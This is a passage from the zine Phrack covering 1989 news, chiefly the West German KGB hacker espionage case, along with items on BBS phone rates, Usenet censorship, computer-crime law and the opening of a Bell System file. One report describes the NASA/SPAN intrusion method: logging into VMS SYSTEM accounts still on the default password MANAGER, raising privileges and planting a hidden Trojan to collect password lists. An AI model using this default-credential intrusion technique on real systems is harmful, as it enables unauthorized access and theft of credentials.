For the German Intelligence authorities, this is "a new quality of espionage." The top manager said that they had awaited something similar but are nevertheless surprised that it happened so soon and with such broad effects.

Summarizing the different events which have been reported earlier ‑‑ NASA and SPAN hacks, Clifford Stoll's report of the "Wily Hacker" ‑‑ I regard this as essentially the final outcome of the Wily Hackers story (with probably more than the 3 which have now been imprisoned). It is surprising that the Intelligence authorities needed so long time (after Cliff's Communications Of The ACM report, in May 1988) to finally arrest and accuse these crackers. Moreover, the rumors according to which design and production plans of a Megabit chip had been stolen from Philips/France computers seems to become justified; this was the background that CCC hacker Steffen Wernery had been arrested, for several months, in Paris without being accused. CAD/CAM programs have also been sold to KBG.

Information Provided By

Klaus Brunnstein

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Computer Spy Ring Sold Top Secrets To Russia March 3, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

West German counter‑intelligence has uncovered a spy ring centered on computer hackers suspected of having supplied the Soviet Union with top secret military and economic information.

They are said to have penetrated computer networks in the United States, Western Europe and Japan, according to a television report last night.

In a special program, the North German Broadcasting Network said that thousands of computer codes, passwords and programs which allowed the Soviet Union access to major computer centers in the Western world have been passed on by the hackers. They had been recruited by the KGB in 1985 and are alleged to have supplied the information in return for money and drugs.

In Karlsruhe, the West German Chief Public Prosecutor's Office, which is in charge of spy cases, would only confirm last night that three arrests have been made March 2nd during house searches in Hannover and West Berlin.

Those detained were suspected of "having obtained illegally, through hacking and in exchange for money, information which was passed on to an Eastern secret service."

But the spokesman did not share West German television's evaluation, which said the case was the most serious since the unmasking in 1974 of an East German agent in the office of ex‑Chancellor Willy Brandt. The Interior Ministry in Bonn last night also confirmed several arrests and said the suspects had supplied information to the KGB. The arrests followed months of investigations into the activities of young computer freaks based in Hamburg, Hannover and West Berlin, the ministry said.

According to the television report, the hackers gained access to the data banks of the Pentagon, NASA Space Center, and the nuclear laboratory in Los Alamos.

They also penetrated leading West European computer centers and armament companies, including the French Thomson group, the European Nuclear Research Center, CERN, in Geneva; the European Space Authority, ESA, and German companies involved in nuclear research.

The Russians are alleged to have put pressure on the hackers because of their involvement with drugs, and to have paid several hundred thousands marks for information, the program said.

West German security experts on the evening of March 2nd described the new spy case as "extremely grave." The KGB has been provided with a "completely new possibility of attack" on Western high technology and NATO military secrets. The sources said it was "sensational" that the hackers should have succeeded in penetrating the US defense data systems from Western Europe.

The North German Broadcasting Network program said its research was based on information given by two members of the suspected espionage ring.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

KGB Computer Break‑Ins Alleged In West Germany March 3, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken From the International Herald Tribune

Bonn ‑ Three West German computer hackers have been arrested on suspicion of infiltrating computer networks worldwide to obtain secret data for an East block intelligence service, prosecutors said on March 2nd.

A spokesman for the federal prosecutor, Alexander Prechtel, confirmed that three men were arrested, but did not identify the East Block country involved or the networks infiltrated.

The ARD television networks "Panorama" program, the thrust of which the spokesman confirmed, said the hackers had passed secrets from a range of highly sensitive U.S., French, and West German computer networks to the KGB, the Soviet secret police.

The television report said it was the worst such espionage case to be uncovered in West Germany since the 1974 exposure of Guenter Guillaume, an East German spy who was a top aide to Willy Brandt, then the West German chancellor.

Among the systems believed to have been infiltrated were the U.S.: Defense Department's staff data bank, the U.S. nuclear arms laboratory in Los Alamos, New Mexico, the National Aeronautics and Space Administration, and U.S. military supply depots.

The report said other systems entered were at the French arms and electronics company Thomson SA, a European nuclear‑research center in Geneva, the European Space Agency and the Max‑Planck Institute for Nuclear Physics in West Germany.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

News From The KGB/Wily Hackers March 7, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Now, five days after the "sensational" disclosure of the German (NDR) Panorama Television team, the dust of speculations begins to rise and the facts become slowly visible; moreover, some questions which could not be answered in Clifford Stoll's Communications of the ACM paper may now be answered. Though not all facts are known publicly, the following facts seem rather clear.

‑ In 1986, some hackers from West Berlin and Hannover discussed, in "hacker parties" with alcohol and drugs, how to solve some personal financial problems; at that time, first intrusions of scientific computers (probably CERN/Geneva as hacker training camp) and Chaos Computer Club's spectacular BTX‑intrusion gave many hackers (assisted by newsmedia) the *puerile impression* that they could intrude *into every computer system*; I remember contemporary discussions on 1986/87 Chaos Computer Conferences about possibilities, when one leading CCC member warned that such hacks might also attract espionage (Steffen Wernery recently mentioned that German counter‑espionage had tried several times to hire him and other CCC members as advisors ‑‑ unsuccessfully).

‑ A "kernel group" of 5 hackers who worked together, in some way, in the "KGB case" are (according to Der SPIEGEL, who published the following names in its Monday, March 6, 1989 edition):

‑> Markus Hess, 27, from Hannover, Clifford Stoll's "Wily Hacker" who was often referred to as the Hannover Hacker and uses the alias of Mathias Speer; after having ended (unfinished) his studies in mathematics, he works as programmer, and tries to get an Informatics diploma at the University of Hagen (FRG); he is said to have good knowledge of VMS and UNIX.

‑> Karl Koch, 23, from Hannover, who works as programmer; due to his luxurious lifestyle and his drug addiction, his permanent financial problems have probably added to his desire to sell "hacker knowledge" to interested institutions.

‑> Hans Huebner, alias "Pengo," from Berlin, who after having received his Informatics diploma from Technical University of West Berlin, founded a small computer house; the SPIEGEL writes that he needed money for investment in his small enterprise; though he does not belong to the Chaos Computer Club, he holds close contacts to the national hacker scenes (Hamburg: Chaos Computer Club; Munich: Bavarian Hacker Post; Cologne: Computer Artists Cologne, and other smaller groups), and he was the person to speak about UUCP as a future communications medium at the Chaos Communication Congress.

‑> Dirk Brezinski, from West Berlin, programmer and sometimes "troubleshooter" for Siemens BS‑2000 systems (the operating system of Siemens mainframe computers), who earned, when working for Siemens or a customer (BfA, a national insurance for employees) 20,000 DM (about $10,800) a month; he is regarded (by an intelligence officer) as "some kind of a genius."

‑> Peter Carl, from West Berlin, a former croupier, who "always had enough cocaine." No information about his computer knowledge or experience is available.

After successfully stimulating KGB's interest, the group (mainly Hess and Koch) committed their well‑documented hacks [See Clifford Stoll's "Stalking the Wily Hacker," Communications of the ACM, May 1988]. SPIEGEL writes that the group *sold 5 diskettes full of passwords*, from May to December 1986, to KGB officers which they met in East Berlin; when Bremen University computer center, their favorite host for transatlantic hacks, asked the police to uncover the reasons for their high telephone bills, they stopped the action.

This statement of Der SPIEGEL is probably wrong because, as Cliff describes, the "Wily Hacker" successfully worked until early 1988, when the path from his PC/telephone was disclosed by TYMNET/German Post authorities. The German public prosecutors did not find enough evidence for a trial, when examining Hess' apartment; moreover, they had acquired the material in illegal actions, so the existing evidence could not be used and finally had to be scratched!

In Hess' apartment, public prosecutors found (on March 3, 1989) password lists from other hacks. On Monday, March 6, 1989, the Panorama team (who had disclosed the NASA hack and basically the KGB connection) asked Klaus Brunnstein to examine some of the password lists; the material which he saw (for 30 minutes) consisted of about 100 photocopied protocols of a hack during the night of July 27 to 28, 1987; it was the famous "NASA hack." From a VAX 750 (with VMS 4.3), which they entered via DATEX‑P (the German packed‑switched data‑exchange network, an X.25 version), where they evidently previously had installed a Trojan horse (UETFORT00.EXE), they tried, via SET HOST... to log‑into other VAXes in remote institutes. They always used SYSTEM account and the "proper" password (invisible).

Remark: Unfortunately, DEC's installation procedure works only if a SYSTEM account is available; evidently, most system managers do not change the preset default password MANAGER; since Version 4.7, MANAGER is excluded, but on previous VMS versions, this hole probably exists in many systems!

Since the hackers, in more than 40% of the cases, succeeded to login, their first activities were to SET PRIV=ALL; SET PRIO=9, and then to install (via trans‑net copy) the Trojan horse. With the Trojan horse (not displayed under SHow Users), they copied the password lists to their PCs. When looking through the password list, Klaus observed the well‑known facts: More than 25% female or male first names, historical persons, countries, cities, or local dishes (in the Universities of Pisa, Pavia, and Bologna, INSALATA was/is a favorite password of several people). Only in CASTOR and POLLUX, the password lists contained less than 5% passwords of such nature easy to guess!

Apart from many (about 39) unsuccessful logins, many different CERN/GENEVA, NASA systems (CASTOR, POLLUX, Goddard and Ames Space Flight Centers), several USA, GB, French, Italian and some German institutes connected in SPAN were "visited." The documented session was from July 27, 10 p.m. to July 28, 1 a.m.

The media report that other hacks (probably not all committed by Hess and Koch themselves) were sold to KGB. Among them, Electronic and Computer Industry seem to be of dominant interest for the USSR. If special CAD/CAM programs and Megabit designs (especially from Thomson/France, from VAX systems) have been stolen, the advantage and value for the USSR cannot be (over)estimated.

In FRG, the current discussion is whether the hackers succeeded to get into "kernel areas" or only "peripheral areas." This discussion is ridiculous since most "peripheral systems" contain developments (methods, products) for future systems, while the "kernel systems" mainly contain existing applications (of past architectures).

The well‑known hackers (especially CCC) have been seriously attacked by some media. My best guess is that CCC was itself *a victim* because the group succeeded to informally get much of the information which they needed for some of the hacks, and which they finally sold to KGB. Apart from "Pengo," there doesn't seem to be a close relation between CCC and the KGB/Wily Hackers. Nevertheless, CCC and others, like Cheshire Catalyst in the USA, have prepared a climate where espionage inevitably sprang‑off.

Information Provided By

Klaus Brunnstein

________________________________________

Pengo Speaks Out About The KGB Hackers And More March 10, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The following are statements made by Pengo to Phrack Inc. during an interview with Knight Lightning;

KL: What is your response to the accusations of being a KGB spy?

P: I have been involved into this espionage circle throughout some months in 1986. I did not actually work for the KGB, nor did I hand out hacker information to the East. All my hacking activities since then have been for the pure purpose of personal enlightenment. I never hid my name before, and I won't go undercover now that the real story comes to the surface.

In the middle of 1988, I informed the West German authorities (secret service) about my involvement with the KGB. This is one of the main reasons for the big busts last week. I have to live with the fact that some hackers now think I am working for the authorities now. I don't, and I will try anything to avoid getting into all these secret service/espionage problems again.

KL: What about the statements made in DER SPIEGEL?

P: They published my name and claimed that I was "very active" for the east, but also that I am the :most hopeful head in West Berlin's hacking scene." I now try to make the best out of this publicity.

KL: Klaus Brunnstein made some strong statements about you in RISKS Digest, what did you think of that?

P: It really upsets me a lot. Klaus Brunnstein doesn't know anything detailed about this case, but he seems to love seeing himself as the insider in the German scene. At the last congress I got in kind of a dispute with him. He could not understand why I, as a computer scientist, still support hackers. Perhaps this is one of the reasons for his publication.

KL: Any other comments?

P: What I would be interested in hearing about the reaction to this situation from the United States hackers' point of view. I have already heard that most people seem to believe that the whole Chaos Computer Club is an association of spies. This is of course untrue.

KL: What do you intend to do about the bad press you have received?

P: I have posted a reply to Brunnstein's posting in RISKS (shown in next article). Apart from Hagbard, those guys never were hackers, and it seems to turn out that they have really been mere spies.

KL: Were there any other repercussions to this case besides bad publicity?

P: Currently, I'm puzzling out a new way of earning money, since my company decided to fire me. That's what you get if you play with fire :‑)

Luckily, I'm optimist!

‑Pengo

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Pengo Speaks In RISKS Digest March 10, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In RISKS Digest, Klaus Brunnstein mentioned my name in the context of the hacker/espionage case recently discovered by the German authorities. Since Mr. Brunnstein is not competent to speak about the background of the case, I'd like to add some clarification to prevent misunderstandings, especially concerning my role. I think it is a very bad practice to just publish names of people without giving background information.

I have been an active member of the net community for about two years now, and I want to explicitly express that my network activities have in no way been connected to any contacts to secret services, be it Western or Eastern ones.

On the other hand, it is a fact that when I was younger (I'm 20 years old now), there had been a circle of people which tried to make deals with an eastern secret service. I have been involved in this, but I hope that I did the right thing by giving the German authorities detailed information about my involvement in the case in the summer of 1988.

As long as the lawsuit on this case is still in progress, I am not allowed to give out any details about it to the public. As soon as I have the freedom to speak freely about all of this, I'll be trying to give a detailed picture about the happenings to anyone who's interested.

I define myself as a hacker. I acquired most of my knowledge by playing around with computers and operating systems, and yes, many of these systems were private property of organizations that did not even have the slightest idea that I was using their machines. I think that hackers (people who creatively handle technology and not just see computing as their job) do a service for the computing community in general. It has been pointed out by other people that most of the "interesting" modern computer concepts have been developed or outlined by people who define themselves as "hackers."

When I started hacking foreign systems, I was 16 years old. I was just interested in computers, not in the data which has been kept on their disks. As I was going to school at that time, I didn't even have the money to buy my own computer. Since CP/M (which was the most sophisticated OS I could use on machines which I had legal access to) didn't turn me on anymore, I enjoyed the lax security of the systems I had access to by using X.25 networks.

You might point out that I should have been patient and wait until I could go to the university and use their machines. Some of you might understand that waiting was just not the thing I was keen on in those days. Computing had become an addiction for me, and thus I kept hacking. I hope this clears the question "why."

It was definitely NOT to give the Russians any advantage over the USA, nor to become rich and get a flight to the Bahamas as soon as possible. The results of the court trial will reveal this again, but until then I want to keep rumors out that the German hackers were just the long (?) arm of the KGB to harm Western computer security or defense power.

It should also be pointed out that the Chaos Computer Club has in no way been connected to this recent case, and again, that the CCC as an organization has never been a "hacker group." The CCC merely handles the press for hackers, and tries to point out implications of computers and communications for society in general.

I have already lost my current job, because of my name being published in DER SPIEGEL and in RISKS. My business partners became anxious about my involvement in the case. Several projects I was about to complete in the near future have been cancelled, which forces me to start again at the beginning in some way.

Hans Huebner

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Klaus Brunnstein Reacts To Pengo In RISKS Digest March 14, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"Pengo" Hans Huebner stated that he had no share in the KBG case as I mentioned in my report. Since I myself had no share in the KGB case (and in this sense, I am not as good a source as Pengo!), I tried to transmit only information where I had at least *two independent sources* of *some credibility*. In Pengo's case (where I was rather careful because I could not believe what I read), my two sources were:

‑ The SPIEGEL report (I personally agree that names should be avoided as long as current investigations are underway; yet in this cases, the names have been widely published in FRG and abroad);

‑ A telephone conversation with a leading Chaos Computer Club person after he had informed me about a public debate at Hannover fair (where the German daily business newspaper, Wirtschafts, which had organized a discussion with data protection people and CCC).

I asked him whether he knew of Pengo's contribution; he told me that he directly asked Pengo, "Did you, without pressure and at your own will, work for the Russians?" Pengo answered, "Yes." He told me that he immediately cut‑off any contact to Pengo. Evidently, there was a controversial discussion in Chaos Computer Club whether on should react in such a strict manner. I understand the strong reaction because the KGB hackers severely damaged the CCC's attempt to seriously contribute to the public discussion of some of the social consequences of computers. They now face, more seriously than before, the problem of being regarded as members of a criminal gang.

‑Klaus Brunnstein

Phrack World News XXV/Part 3

==Phrack Inc.==

Volume Three, Issue 25, File 11 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXV/Part 3 PWN

PWN PWN

PWN March 29, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Southwestern Bell Vs. Bulletin Board Operators February 27, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

For those of you unfamiliar with the situation, there is a major battle between Southwestern Bell Telephone company and bulletin board operators in Oklahoma City, Oklahoma. Southwestern Bell demands the right to charge more for phone lines being used for the operation of bulletin boards. They claim that data communications should be charged more to begin with and that running a bulletin board is like a business and business lines should cost more than residential lines.

Currently the conflict is being described as a stalemate. Southwestern Bell is using a war‑dialer in an attempt to find out what numbers are actually bulletin board numbers. Several bulletin boards have already gone down because of this. However, in support of the BBS community is a major television news station (a CBS affiliate I believe) and several corporate lawyers have also taken an interest in he BBS side. The lawyers say that a court case had come up several years ago concerning bulletin boards and Southwestern Bell. In that case SWB lost which meant that it is illegal for SWB to raise the rates in Oklahoma City for bulletin board phone lines.

Southwestern Bell has been deceitfully trying to trick system operators (sysops) into saying that they make money off of their systems. They get the sysops to say that they run "non‑profit" bulletin boards. Non‑profit implies that you are taking in income to offset your expenses, but do not make a profit. This is simply not true for most bulletin boars; they do not take in anything. In the meantime, these poor victims are getting their rates increased. It has spread through the bulletin board community in Oklahoma City like wildfire and they are just now getting wise to Southwestern Bell's fraud.

Fortunately, the bulletin board users of Oklahoma City are a very vocal bunch of people and many of them are calling Southwestern Bell by the hundreds and telling them that if they raise the rates of the bulletin boards, they will have their secondary lines taken out. Many sysops have said the same. This is the stalemate right now. Apparently, the Southwestern Bell executives are realizing that if they do this they will actually make less money than if they leave the bulletin boards alone. After all, their whole purpose is to make more money. A user organization is being put together in Oklahoma City in an attempt to stir up enough opposition to this move by Southwestern Bell for them to reconsider. So far it is working, though they are far from a settlement.

The latest news heard from one of the leaders of this new user group was that some major big‑wig of Southwestern Bell and AT&T had flown into Oklahoma City in an uproar about the actions taken by Southwestern Bell so far. Apparently, they do not like what the local executives are doing. In addition, the lawyers who have agreed to help are investigating a similar incident out in California.

This is the general manager's office. It might be useful to call this number and indicate that the bad publicity is spreading outside of Oklahoma City; maybe Southwestern Bell will rethink their position.

Information Provided By

Various Sources

________________________________________

Attention Telecommunication Fanatics March 7, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The following was taken from TELECOM Digest, an Internet newsletter...

From: Red Knight

Subject: Review of Bulletin Board System

Please accept my invitation to the a Telecommunication Oriented Bulletin Board System, located in Flushing New York.

Our main objective is to discuss about the various telephony related concepts, for example, ESS, DMS, COSMOS, Cellular, Mobile, Satellite Communications, Fiber Optic, PBX, Centrex, Phone Rates, Signalling Systems, World Wide Telephone, Switching Systems, ISDN.

We are trying to get as many knowledgeable users as we possibly can.

Not only does our Bulletin Board Specialize in Telecommunication, but also has a few conferences for Computer Security. We certainly have many experts on board who would be willing to discuss security related material.

We have a UNIX conference were all the UNIX wizards get together. We have a special DEC User group. We also a conference for discussions on Viruses and how it can be written and prevented.

Other conferences are as follows: Radio Hobbies>Hacking News>LockSmithing,

Pyrotechnics>Telco Numbers>TAP>Books>

Surveillance Systems>Pascal>Generic C>

Suggestions>Mac>BBS Numbers>Phrack>Cable>

.....and many other miscellaneous

Requirements: We don't have any requirements. Anyone is welcome. Access is given immediately. We also allow alias names if desired. We hope you will enjoy your stay.

The Telecommunication [H.D.BBS] <‑‑ Hackers Den

[A 2600 Magazine Bulletin Board System]

Data: (718)358/9209

300/1200

________________________________________

Computer Users Worry That Stanford Set Precedent February 20, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Tom Philp (San Jose Mercury News)

"Decision to block bulletin board impedes free access to public information."

Computer scientists at Stanford fear the university has entered a never‑ending role as a moral regulator of computer bulletin boards by recently blocking access to a list of jokes deemed to serve no "university educational purpose."

Many computer users on campus consider bulletin boards to be the libraries of the future ‑ and thus subject to the same free access as Stanford's library system. Instead, Stanford apparently has become the nation's first university to block access to part of the international bulletin network called Usenet, which reaches 250,000 users of computers running the Unix operating system, according to a computer scientist who helped create the network.

To some computer users, Stanford's precedent is troubling. "We get into some very, very touchy issues when system administrators are given the authority to simply get rid of files that they deem inappropriate on publicly available systems," said Gary Chapman, executive director of Computer Professionals for Social Responsibility, a Palo Alto‑based organization with 2,500 members. "My personal view is that freedom of speech should apply to computer information."

Ralph Gorin, director of Academic Information Resources at Stanford, disagrees. "I think that it's very clear that one should be either in favor of free speech and all of the ramifications of that or be willing to take the consequences of saying free speech sometimes, and then having to decide when," Gorin said.

Since the jokes ban, more than 100 Stanford computer users, including a leading researcher in artificial intelligence, have signed a protest petition. And there is some evidence to indicate Stanford officials are looking for a way out of the dilemma they have created.

The joke bulletin board, called "rec.humor.funny," is one of several bulletin boards that discuss controversial topics. Stanford, for example, continues to permit access to bulletin boards that allow students to discuss their use of illegal drugs, sexual techniques, and tips on nude beaches. Gorin said he is unaware of those bulletin boards.

The jokes bulletin board came to Stanford officials' attention in December, after a report about it in a Canadian newspaper. The jokes hit a raw nerve with campus officials, who have been plagued by a variety of racist incidents on campus. And so they decided on January 25, 1989 to block the jokes from passing through the university's main computer. "At a time when the university is devoting considerable energy to suppress racism, bigotry and other forms of prejudice, why devote computer resources to let some outside person exploit these?" Gorin explained.

Stanford officials were troubled because the jokes bulletin board is "moderated," meaning that one person controls everything that it publishes. The jokes bulletin board "does not in itself provide for discussion of the issues that it raises," Gorin said. The moderator, Brad Templeton of Waterloo, in the Canadian province of Ontario, publishes only jokes. Comments he receives go on a separate bulletin board, called "rec.humor.d." For Stanford, the existence of a comment bulletin board is not enough because people who call up the jokes will not necessarily see the comments.

The problem with "unmoderated" bulletin boards is clutter, according to Eugene Spafford, a computer scientist at Purdue University who is one of the pioneers of Usenet. The network accumulates the equivalent of 4,000 double‑spaced, typewritten pages every day, far too many comments for any person to read. "People who use a network as an information resource like a more focused approach," Spafford said. They is why another, unmoderated, bulletin board that has many comments and fewer ‑ but equally offensive ‑ jokes, is far less popular. Stanford does not block transmission of that bulletin board. Templeton's bulletin board is the most popular of the 500 on Usenet. An estimated 20,000 computer users pull up the jokes on their screens every day, Spafford said.

Usenet has its own form of democracy, calling elections to determine whether a new bulletin board should be created, and who ‑ if anyone ‑ should moderate it. Templeton's jokes bulletin board was created by such a vote. Stanford's decision to block access to it "strikes me as hypocritical," Spafford said. "At best, it's someone who doesn't understand the situation who is trying to do something politically correct."

John McCarthy, a Stanford computer science professor and one of the founders of the field of artificial intelligence, has met with university President Donald Kennedy to discuss his opposition to blocking the jokes. "No one of these (bulletin boards) is especially important," McCarthy said. The point is that regulating access to them "is not a business that a university should go into."

Since deciding to block access to the bulletin board, the administration has referred the issue to the steering committee of Stanford's Faculty Senate. The future of the bulletin board may end up in the hands of the professors. "I think that is an entirely appropriate internal process for reaching that decision," Gorin said.

Added McCarthy: "I should say that I am optimistic now that this ban will be corrected. There are some people who think they made a mistake."

________________________________________

Outlaw Computer Hacking ‑‑ CBI March 1, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Peter Large (Guardian Newspaper)

"Computer hacking should be made a criminal offense, the CBI said yesterday."

The employer's organization said it was vital to secure a stable base for computer development, since computers played a major part in the nation's economic competitiveness and "social well‑being." Computer buffs were increasingly gaining unauthorized access to confidential information held by banks and other companies in computer databanks, it said.

Much computer fraud is hidden by firms, but the conservative consensus estimate is that the cost to British business is at least 30 million a year.

But computer disasters, caused by software failures, fire and power failures, are reckoned to be cost about ten times that.

The CBI, in its response to the Law Commission's paper on computer misuse, made six proposals:

* Hacking cases should be tried by jury;

* The concept of "criminal damage" should cover computer programs and data and attacks by computer viruses (rogue programs that can disrupt or destroy data);

* Laws should be harmonized internationally so that hackers cannot operate across country boundaries;

* The offense of obtaining unauthorized access should include non‑physical access, such as computer eavesdropping;

* Even unsuccessful attempts to hack should be subject to criminal sanctions;

* The value of confidential commercial information should be protected by civil remedies for loss or damage caused by hackers.

The United States, Canada, Sweden, and France have outlawed hacking, but it is not an offense in Great Britain unless damage is done, such as fraud or theft. In February, the Jack Report on banking law proposed outlawing the hacker. The Law Commission has produced a discussion document and is to make firm proposals later this year.

________________________________________

Highest German Court Strikes Down A Telecommunications Law March 23, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The law in question reads:

Paragraph 15, Section II of the law regulating telecommunication equipment:

"Any person who installs, changes, or uses modifiable telecommunications equipment in violation of the lending conditions will be punished with two years imprisonment or fines."

The German Supreme Court has declared this law unconstitutional and null‑and‑void in a decision of June 22, 1988. The consequence to this is that imported modems can no longer be confiscated (according to the guidelines of the Code of Criminal Procedures).

The German legislature has been called upon to pass a new law. However, because there exists such strong interest and influence of industry, users, and the European market‑community against such a new prohibitive law, it is believed that there is reason for optimism and no such prohibitive law will be passed.

________________________________________

California PUC Pulls Plug On AOS March 24, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

According to a story in the San Francisco Examiner, Business Section, the Public Utilities Commission directed TPC (Pacific Bell) to disconnect 54 privately owned pay phones in its first enforcement action against "price gouging by some operator services".

"Privately owned pay phones can charge no more than 10 cents above Pacific Bell and AT&T rates for local calls or calls in California".

The 54 privately owned pay phones belonged to 12 owners, and their charges were found to be at least 90% higher than the authorized rates, and sometimes were up to three times as high. All owners had been warned of the overcharging in November. Under the PUC orders, Pacific Bell has sent letters to the owners notifying them that their plug will be pulled in seven days.

The article also mentioned the FCC last month imposed some restrictions on five AOS firms accused of egregious gouging that require the companies "to identify themselves to each caller and disclose rates if computers asked."

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~~

1. The University of Delaware Library System electronic card catalog (DELCAT) is now available for access to residents throughout Delaware. In each county within Delaware, there is now a local number which you can call to link up. Service is provided by the Bell Atlantic Public Data Network.

The numbers are:

New Castle County (302) 366‑0800 Sussex County (302) 856‑7055 Kent County (302) 734‑9465

Users wishing to call from out of state should call (302) 366‑0800. Normal long distance charges apply for out of state callers.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2. Strange as it may sound, several bulletin board system operators in the northeastern part of the country have received letters from the Federal Bureau of Investigation (FBI) telling them to shut down their systems or face unpleasant consequences. Two of the bulletin board systems in question are The Edge and Ridgewood. Confirmation that these letters were actually from the FBI has still not been achieved.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

3. Mark Tabas is currently supposed to be working on a book. He has requested that anyone that has copies of any of his text files or news reports about him should contact him.

Unfortunately, we are not at liberty to give out his mailing address in a forum as public as Phrack World News.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

4. CompuServe (CIS) just announced that they will begin charging a $1.50 per month user fee over and above whatever usage is charged. The fee will be waived during the first three months of a new account. They will, however, make some services free ‑‑ like looking up your charges.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

5. Unconfirmed rumors from the security side of the hacking community state that GTE Telenet has acquired new assistance in the fight against Telenet abusers and new security measures are already in the process of implementation.

The alledged new assistance was in the form of personnel: People who are regarded as "experts" not only on Telenet, but the hacking community as well.

________________________________________

26

- Phrack Inc. XXVI Index by Knight Lightning & Taran King

- Computer-Based Systems for Bell System Operation by Taran King

- Getting Caught by The Disk Jockey

- NSFnet by Knight Lightning

- COSMOS by King Arthur

- Basic Concepts of Translation by Chief Executive Officers & Dead Lord

- Phone Bugging by Split Decision

- Internet Domains by Phrack Staff

- Phrack World News XXVI Part 1 by Knight Lightning

- Phrack World News XXVI Part 2 by Knight Lightning

- Phrack World News XXVI Part 3 by Knight Lightning

Phrack Inc. XXVI Index

==Phrack Inc.==

Volume Three, Issue 26, File 1 of 11

Phrack Inc. Newsletter Issue XXVI Index

%%%%%%%%%%%%%%%%%%%%

April 25, 1989

Greetings and welcome to Issue 26 of Phrack Inc. Things are really beginning to heat up as SummerCon '89 rapidly approaches. Be sure to check out Phrack World News for further information concerning this incredible event. You do not want to miss it.

This issue we feature The Disk Jockey's personal rendition of the events that can occur in the criminal legal process (after all he should know). Some of the terms and situations may vary from state to state due to slight differences in state laws.

We also present to you a file on COSMOS that is written from more of a security standpoint rather than hacker intrusion tips. The Future Transcendent Saga continues in this issue with a file on NSFnet and the third appendix of the never ending series. This particular appendix is geared to be used as a general reference to chapter three of the FTSaga, "Limbo To Infinity." As this file is more of a complied directory than actual "how to" knowledge, we just consider it a Phrack Inc. release.

As always, we ask that anyone with network access drop us a line to either our Bitnet or Internet addresses...

Taran King Knight Lightning C488869@UMCVMB.BITNET C483307@UMCVMB.BITNET C488869@UMCVMB.MISSOURI.EDU C483307@UMCVMB.MISSOURI.EDU

________________________________________

Table of Contents:

1. Phrack Inc. XXVI Index by Taran King and Knight Lightning

2. Computer‑Based Systems for Bell System Operation by Taran King 3. Getting Caught: Legal Procedures by The Disk Jockey

4. NSFnet: National Science Foundation Network by Knight Lightning 5. COSMOS: COmputer System for Mainframe OperationS (Part One) by King Arthur 6. Basic Concepts of Translation by The Dead Lord and Chief Executive Officers 7. Phone Bugging: Telecom's Underground Industry by Split Decision 8. Internet Domains: FTSaga Appendix 3 (Limbo To Infinity) by Phrack Inc. 9. Phrack World News XXVI/Part 1 by Knight Lightning

10. Phrack World News XXVI/Part 2 by Knight Lightning

11. Phrack World News XXVI/Part 3 by Knight Lightning

Computer-Based Systems for Bell System Operation

==Phrack Inc.==

Volume Three, Issue 26, File 2 of 11

Computer‑Based Systems for Bell System Operations

by

Taran King

This file contains a variety of operating systems in the Bell System. Some of them are very familiar to most people and others are widely unknown. Each sub‑section gives a brief description of what the computer system's functions are.

Table Of Contents:

%%%%%%%%%%%%%%%%%%

I. TIRKS

a. COC

b. E1

c. F1

d. C1

e. FEPS

II. PICS

III. PREMIS

IV. TNDS

a. EADAS

b. EADAS/NM

c. TDAS

d. CU/EQ

e. ICAN

f. LBS

g. 5XB COER

h. SPCS COER

i. SONDS

j. CU/TK

k. TSS

l. TFS

m. CSAR

V. SCCS

VI. COEES

VII. MATFAP

VIII. Various Operating Systems

IX. Acronym Glossary

TIRKS (Trunks Integrated Records Keeping System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

TIRKS is the master record‑keeping system for the network. It supports network operations related to growth and change in the network by providing accurate records of circuits and components that are in use and available for use. It was developed to mechanize the circuit‑provisioning process. Two circuit‑provisioning aspects are applied: daily circuit provisioning and current planning.

